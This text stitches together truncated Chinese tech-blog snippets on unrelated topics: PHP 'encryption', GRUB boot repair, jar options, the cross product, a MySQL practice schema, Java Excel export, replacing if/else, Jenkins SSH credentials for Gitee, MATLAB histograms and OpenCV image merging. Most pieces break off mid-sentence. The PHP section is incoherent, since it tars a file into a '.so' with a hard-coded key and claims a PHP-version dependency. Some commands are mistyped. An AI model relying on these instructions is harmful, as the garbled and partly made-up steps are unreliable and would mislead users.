(1)将需要加密的php文件进行打包。
(2)将打包后的文件进行加密。
使用如下命令将php文件打包:
tar cvf mycode.tar mycode.php 使用如下命令将打包后的文件进行加密:
sodium -e mycode.tar -o mycode.so -p 1d3f7b760c4b4a7b4a4e4d7c762c4739 其中,-p参数用于设置密钥,通过设置不同的密钥可以实现不同的加密方式。可以自行生成密钥进行设置。
解密php代码
使用如下命令可以将加密后的文件进行解密:
sodium -d mycode.so -o mycode.tar -p 1d3f7b760c4b4a7b4a4e4d7c762c4739 其中,-p参数需设置与加密时相同的密钥。
四、注意事项 加密后的文件需要与加密时所使用的php版本相同。
由于加密后的代码变得很难看懂,因此,在加密代码之前,最好对代码进行注释、缩进等处理。
同时推荐使用代码混淆工具,如Obfuscator,可以进一步增强代码的安全性。
开机启动出现grub引导,造成这种情况的根本原因是启动盘引导有问题,grub引导丢失,开机后会直接进入grub引导界面
临时启动 修复步骤如下:
grub>ismod xfs
grub>set root=(hd0,msdos1) —(指定boot分区)
grub>linux16 /vmlinux-xxxx(tab键补全) root=/dev/mapper/centos-root
grub>initrd16 /initramfs-.xxxxx.img
grub>boot
这个时候系统会正常启动
永久启动 启动完成后,进入系统后需要修复grub引导文件
cat /boot/grub2/grub.cfg
cat /boot/grub/grub.cfg 查看该文件是否为空
若两个文件都为空,建议使用:
sudo grub2-mkconfig -o /boot/grub2/grub.cfg
sudo grub2-mkconfig -o /boot/grub/grub.cfg
一、Jar命令打包java应用的用法 jar是标准的java打包命令,位于JAVA_HOME/bin/目录下面。主要功能是将多个文件打包成一个单独的jar文件。
创建jar文件
jar c[v0Mmfe] [manifest] [jarfile] [entrypoint] [-C dir] inputfiles [-Joption]
更新jar文件
jar u[v0Mmfe] [manifest] [jarfile] [entrypoint] [-C dir] inputfiles [-Joption]
解压jar文件
jar x[vf] [jarfile] [inputfiles] [-Joption]
显示Jar包结构
jar t[vf] [jarfile] [inputfiles] [-Joption]
添加索引到jar文件
jar i jarfile [-Joption]
其中[]代表可选
参数分析如下: jarfile:被创建、更新、解压或者显示的目标jar文件,和-f选项一起使用
inputfiles:文件或者目录,多个文件或者目录用空格分开,表示需要被打包的文件或者目录,待解压的jar包中的文件或者目录,待显示的jar包的文件或者目录。如果是目录,将按照递归的方式处理。多个文件间以zip方式被压缩,除非添加0选项
manifest:指定manifest文件,和-m参数一起使用
entrypoint:指定类名作为应用的入口,和-e选项一起使用。特别说明,-m、-f、-e参数对应的的manifest、jarfile、entrypoint顺序要相同
-C dir:处理inputfiles时,指定后面inputfile的目录,可以有多个-C dir inputfile
-Joption:指定Java runtiome environment的参数,-J何option之间不能有空格
选项:
-c 创建新的jar包
-u 更新已有的jar包
-x 解压指定的jar包
-t 显示jar包内容
-f 和 jarfile一起使用
-v 输出详细信息
-0 不使用zip压缩
-M 生成jar包时不创建manifest文件(将指定文件作为 MANIFEST.
三维欧几里德空间中两个向量叉积的问题 定义矩阵表示几何意义 定义 两个向量 a和b仅在三维空间中有意义。定义为:
a ⃗ ∗ b ⃗ = ∣ ∣ a ⃗ ∣ ∣ ∣ ∣ b ⃗ ∣ ∣ s i n θ \vec{a}*\vec{b}=||\vec{a}||||\vec{b}||sin\theta a ∗b =∣∣a ∣∣∣∣b ∣∣sinθ
θ \theta θ是两向量的夹角。
叉积的方向由右手定则确定,模长等于以两个向量为边的平行四边形的面积。
矩阵表示 a ⃗ ∗ b ⃗ = ∣ i ⃗ j ⃗ k ⃗ a 1 a 2 a 3 b 1 b 2 b 3 ∣ \vec{a}*\vec{b}=\begin{vmatrix} \vec{i}& \vec{j}&\vec{k} \\ a_1& a_2&a_3 \\ b_1&b_2&b_3 \end{vmatrix} a ∗b = i a1b1j a2b2k a3b3
50道经典MySQL练习题,参考博客:
SQL经典50题练习_sql习题_不高冷面包人的博客-CSDN博客c
1 创建数据表 学生表
CREATE TABLE IF NOT EXISTS `student`( `student_id` INT(10) NOT NULL AUTO_INCREMENT COMMENT '学号', `student_name` VARCHAR(10) NOT NULL DEFAULT '匿名' COMMENT '姓名', `birthday` DATETIME NOT NULL COMMENT '出生日期', `gender` VARCHAR(10) NOT NULL DEFAULT '男' COMMENT '性别', PRIMARY KEY(`student_id`) )ENGINE=INNODB CHARSET=utf8; INSERT INTO `student` VALUES (1 , '赵雷' , '1990-01-01' , '男'), (2 , '钱电' , '1990-12-21' , '男'), (3 , '孙风' , '1990-12-20' , '男'), (4 , '李云' , '1990-12-06' , '男'), (5 , '周梅' , '1991-12-01' , '女'), (6 , '吴兰' , '1992-01-01' , '女'), (7 , '郑竹' , '1989-01-01' , '女'), (8 , '张三' , '2017-12-20' , '女'), (9 , '李四' , '2017-12-25' , '女'), (10 , '李四' , '2012-06-06' , '女'), (11 , '赵六' , '2013-06-13' , '女'), (12 , '孙七' , '2014-06-01' , '女'); 课程表
百万级数据量导出excel sxxf sxxf 下面展示一些 内联代码片。
package com.highdatas.mdm.util; import org.apache.poi.hssf.usermodel.HSSFCellStyle; import org.apache.poi.hssf.util.HSSFColor; import org.apache.poi.ss.usermodel.*; import org.apache.poi.xssf.streaming.SXSSFWorkbook; import org.apache.poi.xssf.usermodel.XSSFCellStyle; import org.apache.poi.xssf.usermodel.XSSFDataFormat; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.OutputStream; import java.lang.reflect.Field; import java.util.List; import java.util.Map; /** * 大数据量下载 */ public class SxxfWorkbookApplicationTests { private final static Logger logger = LoggerFactory.getLogger(SxxfWorkbookApplicationTests.class); /** * * @param title 中文表头以及一些特殊业务标识 * @param fields 英文表头 * @param data 实际数据 * @param fileName 文件名 * @param response */ public static void contextLoads(List<Map<String, Object>> title, List<String> fields, List<Map<String, Object>> data, String fileName, HttpServletResponse response) { // 导出的excel,全文件名 final String excelExportDestfilepath = fileName; OutputStream fos = null; Workbook sxssfWorkbook = null; try { /// -> 从数据库中查询出要进行excel导出的数据 /// -> excel到处逻辑 long startTime = System.
满屏if/else java
复制代码
public static void main(String[] args) { int a = 1; if(a == 1){ System.out.println("执行a=1的逻辑"); }else if (a == 2){ System.out.println("执行a=2的逻辑"); }else if (a == 3){ System.out.println("执行a=3的逻辑"); }else if (a == 4){ System.out.println("执行a=4的逻辑"); }else if (a == 5){ System.out.println("执行a=5的逻辑"); } } 可能不少开发同学刚接入代码的时候是这么写的,也可能是想省事,也可能是真的不知道用什么办法解决。但从今天开始,你看完这篇文章,你自己都不会允许自己出现上述情况。 大家也看过不少网上的帖子,大部分推荐用策略模式,工厂模式等。甚至还有同学站起来说: 我不用if/else,我用switch/case,那你是真强
今天1点东西教大家用不一样的方式避免if/else,如果还不了解上面提到的设计模式也可以先去我的主页看看我的专栏,超全设计模式的讲解。
话不多说 我们由浅入深,慢慢道来
解决办法 一、函数式编程 函数式编程也可以避免使用if语句,通过函数式编程的柯里化、高阶函数等特性,我们可以更好地处理条件分支等流程控制语句。
举个例子,我们来看一个检查邮箱是否合法的例子。我们可以通过组合多个函数,从而不需要使用if语句。(今天用一个前端的demo来举个例子,让前端的同学也能受到些启发,其实后端和前端是一样的,为什么称前端是js,j即代表java,逻辑思想是一致的)
js
复制代码
function checkEmail(email) { return compose( isNotEmpty, containsAtSymbol, containsDotAfterAtSymbol )(email); } function compose(...fns) { return function(arg) { return fns.
【超级全面】jenkins通过SSH凭证方式拉取Gitee代码(含错误解决方法) jenkins通过SSH凭证方式拉取Gitee代码一、生成密钥1、生成密钥之前检查一下是否已经生成密钥,存在密钥则进行删除:2、在/root/.ssh目录下使用命令`ssh-keygen -t rsa`生成公钥和私钥,输入命令后一直按回车即可3、生成的公钥和私钥文件如下: 二、添加公钥到你的Gitee帐户1、查看生成的公钥2、登录 Gitee,通过点击头像中的设置选项,进入后台,配置刚才生成的公钥文件里面的内容。 三、添加私钥到Jenkins的SSH凭证中并创建项目使用SSH凭证1、查看生成的私钥2、在 Jenkins 中新建 SSH 凭证,我们刚才使用 root 用户来生成密钥,所以用户名填 root,ID可以不填保存后会自动生成,私钥填我们生成的私钥文件中的内容。3、这样我们就可以在 Jenkins 中的项目配置 SSH 凭证了,注意这时需要使用项目的 SSH 地址了,如下所示:①创建项目②配置git信息,然后点击下方的应用/保存③可能会报如下错误,报错了也点击下方的应用/保存 三、解决错误并在本地git仓库中创建一个与远程git仓库的关联①进入git仓库目录②使用`git remote -v` 查看你当前的remote url③使用` git remote set-url `来修改你的remote url,不用https协议,改用git 协议④再次使用`git remote -v `查看remote url⑤再运行命令`/usr/bin/git ls-remote -h git地址`⑥成功解决,在项目中点击配置查看,会发现刚才的错误解决了 四、构建项目①我们构建项目时,可以在控制台输出中看到下载的git源代码的位置和使用了刚才配置的 SSH 凭证。②最后在Linux中,进入下载的git源代码的位置,查看文件是否拉取成功! jenkins通过SSH凭证方式拉取Gitee代码 使用 SSH 密钥方式拉取 Gitee 上的代码,我们只需要在服务器上使用 root 用户生成公钥和私钥,将公钥配置到 Gitee 中,再将私钥配置到 Jenkins 中。这样 Jenkins 就可以免密从 Gitee 上拉取代码了。
一、生成密钥 1、生成密钥之前检查一下是否已经生成密钥,存在密钥则进行删除: 删除存在的密钥是防止跟着此流程走出一些未知的错
root@bpvank-virtual-machine:~# cd /root/.ssh root@bpvank-virtual-machine:~/.ssh# ls id_rsa id_rsa.pub root@bpvank-virtual-machine:~/.ssh# rm id_rsa root@bpvank-virtual-machine:~/.
histogram函数的调用方式简洁明了,直接
histogram(data) 即可出图
例如
% 创建示例数据 data = randn(1000, 1); % 绘制直方图 histogram(data); 结果如下图
不过直方图上面没有显示频数,不太直观
可以通过如下方式将频数添加到直方图上方
代码如下
% 创建示例数据 data = randn(1000, 1); % 绘制直方图 histogram(data); % 获取直方图的边缘和频次值 [counts, edges] = histcounts(data); % 在每个直方的顶部显示频次值 for i = 1:numel(counts) text(edges(i), counts(i), num2str(counts(i)), 'HorizontalAlignment', 'center', 'VerticalAlignment', 'bottom') end 上述代码首先使用histogram函数绘制直方图,然后使用histcounts函数获取每个直方的边缘和频次值。接下来,使用text函数在每个直方的顶部显示频次值。text函数用于在指定的坐标位置添加文本,我们将频次值作为文本显示,并将其水平对齐方式设置为居中,垂直对齐方式设置为底部,以确保文本显示在直方的顶部。
结果如下图
细心地小伙伴可以发现,即使我们将对对齐方式参数’HorizontalAlignment’设置成了居中,但是频数还是不是那么居中。
那是因为我们的频数是基于每个bar的边缘而言的,不是对整个bar而言的,随意数字相对于边缘其实已经居中了。
如果想让数字显示在每个bar的正中间,需要在text的参数里,在边缘参数edges的基础上加上每个bar的宽度的一半即可
代码如下:
% 创建示例数据 data = randn(1000, 1); % 绘制直方图 histogram(data); % 获取直方图的边缘和频次值 [counts, edges] = histcounts(data); offset = diff(edges)/2; % 在每个直方的顶部显示频次值 for i = 1:numel(counts) text(edges(i)+offset(i), counts(i), num2str(counts(i)), 'HorizontalAlignment', 'center', 'VerticalAlignment', 'bottom') end 也即添加了第8行计算每个bar的宽度的变量
将多张图片结合为一张图片 案例一:
import cv2 import numpy as np import os import glob # img1=cv2.imread(r"F:\myyolov5\202302141303-L2_27.jpg") # print(img1.shape) # img2=cv2.imread(r"F:\myyolov5\202303011344R2_112_1.jpg") # print(img2.shape) # img1=cv2.resize(img1,(512,500)) # img2=cv2.resize(img2,(512,500)) # inputs=np.hstack((img1,img2)) # # cv2.imshow("input img",inputs) # cv2.imwrite(r"F:\Desktop\a.jpg",inputs) # cv2.waitKey(0) def open_image(path1): img_path = glob.glob(path1) print(img_path) return np.array([cv2.imread(true_path,0) for true_path in img_path]) def combine_images(datasets,newraw,newcol): raw,col = datasets[0].shape newimage = np.zeros((newraw*raw,newcol*col)) for i in range(0,newraw): for j in range(0,newcol): for ii in range(0,raw): for jj in range(0,col): newimage[i*raw+ii][j*col+jj] = output[i*newcol+j][ii][jj] return newimage if __name__ == '__main__': inputpath = 'F:\Desktop\myfile\*' output = open_image(inputpath) ohhh = combine_images(output,1,14) # 这个4,6的意思就是,我的图片通过那个打开的函数之后,变成了一个大的ndarray里面有24张图片,我想让他们以,行4列6,的形式组合起来。 cv2.